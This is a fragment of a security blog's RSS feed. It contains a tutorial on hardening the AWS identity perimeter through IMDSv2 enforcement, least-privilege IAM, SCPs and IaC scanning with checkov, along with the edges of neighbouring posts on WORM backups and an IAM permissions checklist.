<li>Immutable backups turn ransomware from an existential event into an operational restore — but only if the backup itself predates the encryption</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>Module 4 hardened the last line of defense: data that survives even when identity and network controls have already failed. Module 5 turns to the detection side of that same incident — how AI agents and RAG-based pipelines are changing what a SOC can actually find in the log volume a modern cloud environment generates, and where that automation still needs a human in the loop.</p>
<p><em>Next: <a href="/ai-agents-secops-rag/">Module 5: The Future of SecOps — AI Agents, RAG Pipelines, and Autonomous Triage</a></em></p>
<p>Get the full masterclass in your inbox → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fimmutable-data-architecture-worm%2F&amp;linkname=Immutable%20Data%20Architecture%3A%20Surviving%20Ransomware%20via%20WORM" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fimmutable-data-architecture-worm%2F&amp;linkname=Immutable%20Data%20Architecture%3A%20Surviving%20Ransomware%20via%20WORM" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fimmutable-data-architecture-worm%2F&amp;linkname=Immutable%20Data%20Architecture%3A%20Surviving%20Ransomware%20via%20WORM" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fimmutable-data-architecture-worm%2F&amp;linkname=Immutable%20Data%20Architecture%3A%20Surviving%20Ransomware%20via%20WORM" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fimmutable-data-architecture-worm%2F&amp;linkname=Immutable%20Data%20Architecture%3A%20Surviving%20Ransomware%20via%20WORM" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fimmutable-data-architecture-worm%2F&amp;linkname=Immutable%20Data%20Architecture%3A%20Surviving%20Ransomware%20via%20WORM" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fimmutable-data-architecture-worm%2F&amp;linkname=Immutable%20Data%20Architecture%3A%20Surviving%20Ransomware%20via%20WORM" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fimmutable-data-architecture-worm%2F&#038;title=Immutable%20Data%20Architecture%3A%20Surviving%20Ransomware%20via%20WORM" data-a2a-url="https://linuxcent.com/immutable-data-architecture-worm/" data-a2a-title="Immutable Data Architecture: Surviving Ransomware via WORM"></a></p><p>The post <a href="https://linuxcent.com/immutable-data-architecture-worm/">Immutable Data Architecture: Surviving Ransomware via WORM</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/immutable-data-architecture-worm/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2198</post-id>	</item>
		<item>
		<title>Cloud-Native Hardening: Securing the AWS Identity Perimeter</title>
		<link>https://linuxcent.com/cloud-native-hardening-aws-identity/</link>
					<comments>https://linuxcent.com/cloud-native-hardening-aws-identity/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 06 Jul 2026 21:31:37 +0000</pubDate>
				<category><![CDATA[Security Architecture]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[IMDSv2]]></category>
		<category><![CDATA[Infrastructure as Code]]></category>
		<guid isPermaLink="false">https://linuxcent.com/cloud-native-hardening-aws-identity/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 6</span> <span class="rt-label rt-postfix">minutes</span></span>Apply cloud native infrastructure hardening to the AWS identity perimeter: enforce IMDSv2, scope IAM least privilege, and gate IaC scans before merge.</p>
<p>The post <a href="https://linuxcent.com/cloud-native-hardening-aws-identity/">Cloud-Native Hardening: Securing the AWS Identity Perimeter</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 6</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>Zero to Hero: Cybersecurity Architecture Masterclass, Module 3</em><br />
<a href="/stride-threat-modeling/">← Module 2: Proactive Design</a> · <strong>Module 3: Cloud-Native Hardening</strong> · <a href="/immutable-data-architecture-worm/">Module 4: Resilience &amp; Survival →</a></p>
<p><strong>12 min read</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Cloud native infrastructure hardening starts from a different assumption than on-prem hardening: there is no network perimeter, only an identity perimeter — every AWS API call is the boundary</li>
<li>IMDSv1 (the EC2 metadata service without a token) is the single highest-leverage cloud-native hardening fix available — it turned an SSRF bug into the Capital One breach</li>
<li>IAM policy design is architecture, not IT administration: least privilege, permission boundaries, and SCPs compose into the actual perimeter</li>
<li>Infrastructure-as-code scanning (<code class="" data-line="">checkov</code>, <code class="" data-line="">tfsec</code>) catches identity-perimeter mistakes in a pull request instead of in an incident</li>
<li><code class="" data-line="">aws iam simulate-principal-policy</code> answers &#8220;can this role actually do that?&#8221; definitively, without waiting to find out in production</li>
<li>Recommendation: treat IMDSv2 enforcement and IAM least-privilege review as pipeline gates, not periodic audits — the same &#8220;build constraint, not process step&#8221; principle from the OS Hardening series</li>
</ul>
<hr />
<h2 id="the-big-picture-the-perimeter-moved-to-the-api-call">The Big Picture: The Perimeter Moved to the API Call</h2>
<pre><code class="" data-line="">ON-PREM MODEL                          CLOUD-NATIVE MODEL
──────────────                          ──────────────────
Firewall at network edge                No fixed network edge
        │                                        │
Trusted internal subnet                 Every API call carries its
        │                                 own identity + policy
Server assumed safe if                          │
inside the firewall                     IAM evaluates: who is this,
                                          what can they do, right now
                                                 │
                                          Perimeter = the IAM policy
                                          attached to the caller
</code></pre>
<p>Cloud-native infrastructure hardening means accepting that the network no longer defines what&#8217;s trusted — the AWS identity perimeter, enforced entirely through IAM policy evaluation on every single API call, is the only perimeter that actually exists. Module 1 called this the shift from network-centric to identity-centric trust; this module makes it concrete with the two failures that actually break it in production: a leaky metadata service and an over-permissioned role.</p>
<hr />
<h2 id="the-breach-that-made-imdsv2-mandatory">The Breach That Made IMDSv2 Mandatory</h2>
<p>In 2019, a misconfigured WAF in front of a bank&#8217;s application allowed a Server-Side Request Forgery (SSRF) — an attacker convinced the application server to make an HTTP request to <code class="" data-line="">http://169.254.169.254</code>, the EC2 instance metadata endpoint. IMDSv1 answered with no authentication required at all: temporary IAM credentials for the role attached to that instance, handed to anyone who could make the server issue that one request.</p>
<p>Those credentials had read access to S3. The attacker used them to exfiltrate over 100 million customer records. This is the Capital One breach — <a href="https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/">covered in full in the Purple Team series</a> — and it is the single clearest illustration in cloud history of why &#8220;the perimeter is the identity, not the network&#8221; isn&#8217;t a slogan — it&#8217;s a description of exactly where that breach actually happened. The WAF misconfiguration was the entry point. The metadata service handing out credentials with zero verification was the architectural failure that turned an SSRF bug into a 100-million-record breach.</p>
<p><strong>IMDSv2 closes this specific gap</strong> by requiring a session token, fetched via a PUT request, before any metadata GET request is honored — and that PUT request cannot be replayed through a typical SSRF, because SSRF vulnerabilities almost always only allow GET-style requests to be forged. This single setting is the highest-leverage cloud-native hardening control available, and it should be enforced at the account level, not left as an opt-in per instance:</p>
<pre><code class="" data-line=""># Check whether IMDSv2 is enforced (HttpTokens: required) on an instance
$ aws ec2 describe-instances --instance-ids i-0abc123 \
    --query &#039;Reservations[].Instances[].MetadataOptions&#039;
{
    &quot;HttpTokens&quot;: &quot;required&quot;,
    &quot;HttpPutResponseHopLimit&quot;: 1,
    &quot;HttpEndpoint&quot;: &quot;enabled&quot;
}
# &quot;required&quot; = IMDSv2 only. &quot;optional&quot; = IMDSv1 still works — the gap.
</code></pre>
<pre><code class="" data-line=""># Enforce it account-wide for all new instances
$ aws ec2 modify-instance-metadata-defaults \
    --http-tokens required --http-put-response-hop-limit 1
</code></pre>
<hr />
<h2 id="iam-policy-design-is-architecture">IAM Policy Design Is Architecture</h2>
<p>If the metadata service is one way the identity perimeter leaks, an over-permissioned IAM policy is the other — and it&#8217;s far more common, because it doesn&#8217;t require a bug at all. It only requires a policy written with <code class="" data-line="">&quot;Resource&quot;: &quot;*&quot;</code> because scoping it felt like it would slow down a deploy.</p>
<p><strong>Least privilege</strong> means a role can do exactly what its function requires and nothing else — not &#8220;read-only across the account,&#8221; but &#8220;read this specific S3 prefix, write to this specific queue.&#8221;</p>
<p><strong>Permission boundaries</strong> cap what a role can ever be granted, even by someone with <code class="" data-line="">iam:CreatePolicy</code> access — a safety rail against exactly the kind of <a href="https://linuxcent.com/cloud-iam-privilege-escalation/"><code class="" data-line="">iam:PassRole</code> privilege escalation</a> covered in the Cloud IAM series, not just against the policy as originally written.</p>
<p><strong>Service Control Policies (SCPs)</strong> apply at the AWS Organization level, capping what any role in an account can do regardless of how permissive that account&#8217;s own IAM policies are — the outermost layer of the identity perimeter, and the one that survives a single account being compromised.</p>
<pre><code class="" data-line="">{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Action&quot;: [&quot;s3:GetObject&quot;],
    &quot;Resource&quot;: &quot;arn:aws:s3:::billing-invoices/tenant-4471/*&quot;
  }]
}
</code></pre>
<p>That policy can only ever read one tenant&#8217;s invoice prefix. Compare it to <code class="" data-line="">&quot;Resource&quot;: &quot;arn:aws:s3:::billing-invoices/*&quot;</code> — functionally identical for the one use case the developer was testing, and catastrophically different the day this role&#8217;s credentials leak.</p>
<hr />
<h2 id="quick-check-can-this-role-actually-do-that">Quick Check: Can This Role Actually Do That?</h2>
<p>Don&#8217;t wait to find out in production. <code class="" data-line="">aws iam simulate-principal-policy</code> evaluates a specific action against a role&#8217;s actual attached and inline policies — including SCPs and permission boundaries — and gives you a definitive allow/deny before anything runs:</p>
<pre><code class="" data-line="">$ aws iam simulate-principal-policy \
    --policy-source-arn arn:aws:iam::123456789012:role/billing-api-role \
    --action-names s3:GetObject \
    --resource-arns arn:aws:s3:::billing-invoices/tenant-9982/*

{
  &quot;EvaluationResults&quot;: [{
    &quot;EvalActionName&quot;: &quot;s3:GetObject&quot;,
    &quot;EvalResourceName&quot;: &quot;arn:aws:s3:::billing-invoices/tenant-9982/*&quot;,
    &quot;EvalDecision&quot;: &quot;explicitDeny&quot;,     # ← the answer you needed before deploying
    &quot;MatchedStatements&quot;: [...]
  }]
}
</code></pre>
<p><code class="" data-line="">explicitDeny</code> here means some policy statement — the role&#8217;s own policy, a permission boundary, or an SCP — explicitly blocks the action, and that takes precedence over any <code class="" data-line="">Allow</code> anywhere else in the policy chain (Module 1&#8217;s deny-by-default evaluation model, in practice). Run this simulation as part of code review for any new IAM policy, not after the role is already attached to a running service.</p>
<hr />
<h2 id="catching-this-before-it-ships-cloud-native-hardening-via-iac-scanning">Catching This Before It Ships: Cloud-Native Hardening via IaC Scanning</h2>
<p>Manually reviewing every Terraform IAM policy in every pull request doesn&#8217;t scale past a handful of engineers. <code class="" data-line="">checkov</code> and <code class="" data-line="">tfsec</code> scan infrastructure-as-code for exactly the patterns above — wildcard resources, IMDSv1 left enabled, public S3 buckets — as a CI step, before <code class="" data-line="">terraform apply</code> ever runs:</p>
<pre><code class="" data-line="">$ checkov -d ./terraform --check CKV_AWS_79,CKV_AWS_8

Check: CKV_AWS_79: &quot;Ensure Instance Metadata Service Version 1 is not enabled&quot;
    FAILED for resource: aws_instance.billing_api
    File: main.tf:14-22

Check: CKV_AWS_8: &quot;Ensure IAM policies do not allow full administrative privileges&quot;
    FAILED for resource: aws_iam_role_policy.billing_api_policy
    File: iam.tf:8-15
        Resource: &quot;*&quot;
</code></pre>
<p>A failed <code class="" data-line="">checkov</code> check blocking a pull request is the identity-perimeter equivalent of Stratum&#8217;s pipeline gate refusing to snapshot an unhardened image — the unsafe configuration never reaches an account where it can be exploited, because the check runs before merge, not after an audit finds it months later.</p>
<hr />
<h2 id="production-gotchas">Production Gotchas</h2>
<p><strong>IMDSv2 enforcement can break old SDKs and tools silently.</strong> Some older AWS SDK versions and third-party agents assume IMDSv1 and simply fail to fetch credentials once <code class="" data-line="">HttpTokens: required</code> is set — test in staging before enforcing account-wide.</p>
<p><strong><code class="" data-line="">iam simulate-principal-policy</code> doesn&#8217;t account for resource-based policies on the target.</strong> It evaluates the <em>principal&#8217;s</em> policies correctly, but if the target (an S3 bucket, a KMS key) has its own resource policy denying access, you need <code class="" data-line="">simulate-custom-policy</code> with both policies supplied to get the full picture.</p>
<p><strong>SCPs fail closed in a way that&#8217;s easy to misdiagnose.</strong> An SCP deny produces the same <code class="" data-line="">AccessDenied</code> error as a missing IAM permission — check the SCP layer explicitly before assuming the role&#8217;s own policy is the problem, or you&#8217;ll spend an hour widening a policy that was never the actual blocker.</p>
<p><strong><code class="" data-line="">checkov</code>/<code class="" data-line="">tfsec</code> false positives erode trust in the gate fast.</strong> Suppress specific, documented exceptions inline (<code class="" data-line="">#checkov:skip=CKV_AWS_79:reason</code>) rather than disabling the check account-wide the first time it blocks something legitimate.</p>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th style="text-align: left;">Framework</th>
<th style="text-align: left;">Control / ID</th>
<th style="text-align: left;">Architectural Mapping</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left;"><strong>NIST CSF 2.0</strong></td>
<td style="text-align: left;">PR.AA-05</td>
<td style="text-align: left;">Access permissions are managed, incorporating least privilege and separation of duties.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>NIST SP 800-207</strong></td>
<td style="text-align: left;">Zero Trust</td>
<td style="text-align: left;">The identity perimeter, enforced per-API-call, is the direct implementation of continuous verification.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>ISO 27001:2022</strong></td>
<td style="text-align: left;">8.2</td>
<td style="text-align: left;">Privileged access rights are restricted and managed.</td>
</tr>
<tr>
<td style="text-align: left;"><strong>SOC 2</strong></td>
<td style="text-align: left;">CC6.3</td>
<td style="text-align: left;">The entity authorizes, modifies, or removes access based on roles and responsibilities.</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>The identity perimeter, not the network, is what cloud-native hardening actually secures — every IAM policy evaluation is a perimeter check</li>
<li>IMDSv2 enforcement is the single highest-leverage fix available and should be an account-wide default, not an opt-in</li>
<li>Least privilege, permission boundaries, and SCPs are three layers of the same perimeter — design all three deliberately, don&#8217;t rely on one</li>
<li><code class="" data-line="">aws iam simulate-principal-policy</code> gives a definitive answer before deployment instead of an incident after</li>
<li>IaC scanning turns identity-perimeter mistakes into blocked pull requests instead of production findings</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>Module 3 hardened the identity perimeter against external and lateral threats. Module 4 asks what happens after a perimeter fails anyway — specifically, how immutable, WORM-locked data architecture makes ransomware and mass-deletion attacks survivable even when an attacker has already gotten past every control this module covers.</p>
<p><em>Next: <a href="/immutable-data-architecture-worm/">Module 4: Resilience &amp; Survival — Immutable Data Architecture and Surviving Ransomware via WORM</a></em></p>
<p>Get the full masterclass in your inbox → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&amp;linkname=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcloud-native-hardening-aws-identity%2F&#038;title=Cloud-Native%20Hardening%3A%20Securing%20the%20AWS%20Identity%20Perimeter" data-a2a-url="https://linuxcent.com/cloud-native-hardening-aws-identity/" data-a2a-title="Cloud-Native Hardening: Securing the AWS Identity Perimeter"></a></p><p>The post <a href="https://linuxcent.com/cloud-native-hardening-aws-identity/">Cloud-Native Hardening: Securing the AWS Identity Perimeter</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/cloud-native-hardening-aws-identity/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2195</post-id>	</item>
		<item>
		<title>New Cloud Service IAM Permissions: A Checklist Before You Grant Access</title>
		<link>https://linuxcent.com/new-service-iam-permissions-checklist/</link>
					<comments>https://linuxcent.com/new-service-iam-permissions-checklist/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 06 Jul 2026 05:16:54 +0000</pubDate>
				<category><![CDATA[Cloud IAM]]></category>
		<category><![CDATA[Access Analyzer]]></category>
		<category><![CDATA[AWS IAM]]></category>
		<category><![CDATA[Azure RBAC]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[GCP IAM]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[Least Privilege]]></category>
		<guid isPermaLink="false">https://linuxcent.com/new-service-iam-permissions-checklist/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 7</span> <span class="rt-label rt-postfix">minutes</span></span>New cloud service IAM permissions ship on GA day — this five-step AWS, GCP, and Azure checklist scopes them correctly before you grant broad access.</p>
<p>The post <a href="https://linuxcent.com/new-service-iam-permissions-checklist/">New Cloud Service IAM Permissions: A Checklist Before You Grant Access</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 7</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<hr />
<p><a href="/zero-trust-iam/">← EP12: Zero Trust Access in the Cloud</a>  ·  <strong>EP13: New-Service IAM Checklist</strong>  ·  <a href="/cloud-iam-series/">All Cloud IAM Episodes →</a></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>New cloud service IAM permissions ship on GA day — often before your Terraform provider, internal IaC modules, or team wiki catch up</li>
<li>The fast path is <code class="" data-line="">service:*</code> on <code class="" data-line="">Resource: *</code> — the tempting unblock, and also how wildcard debt starts (see <a href="/iam-least-privilege-audit/">EP09&#8217;s least-privilege audit</a>)</li>
<li>Five-step checklist: find the exact actions, scope the resource, dry-run before granting, attach a guardrail, and put a 30-day review on the calendar</li>
<li>AWS has no single CLI call that lists &#8220;every action for a service&#8221; — use the Service Authorization Reference plus IAM Access Analyzer&#8217;s policy generation from real CloudTrail activity</li>
<li>GCP&#8217;s <code class="" data-line="">gcloud iam list-testable-permissions</code> returns the exact permissions grantable on a specific resource — scoped to what that resource type actually supports</li>
<li>Azure&#8217;s <code class="" data-line="">az provider operation show --namespace Microsoft.&lt;Service&gt;</code> lists every operation a resource provider exposes, before you write a single role assignment</li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">  NEW CLOUD SERVICE SHIPS — THE FIRST GRANT DECIDES THE NEXT YEAR

  Provider ships GA
         │
         ▼
  Team requests access ──────► Tempting shortcut: &quot;service:*&quot; on &quot;*&quot;
         │                      (unblocks today, becomes next year&#039;s
         │                       wildcard-debt line item in EP09&#039;s audit)
         ▼
  STEP 1 — Find the exact actions the task needs
         │   (Service Authorization Reference · list-testable-permissions ·
         │    provider operation show)
         ▼
  STEP 2 — Scope the resource, not the account
         │   (ARN pattern / resource URI / resource group — never &quot;*&quot;)
         ▼
  STEP 3 — Dry-run before granting
         │   (simulate-principal-policy · policy-troubleshoot iam · what-if)
         ▼
  STEP 4 — Attach a guardrail, not just a grant
         │   (permission boundary / SCP · Org Policy · Azure Policy)
         ▼
  STEP 5 — Put a 30-day review on the calendar
         │   (provisional access, not permanent — EP09&#039;s audit is the
         │    backstop for whatever step 5 misses)
         ▼
  Access granted: scoped, guarded, and time-boxed
</code></pre>
<hr />
<h2 id="introduction">Introduction</h2>
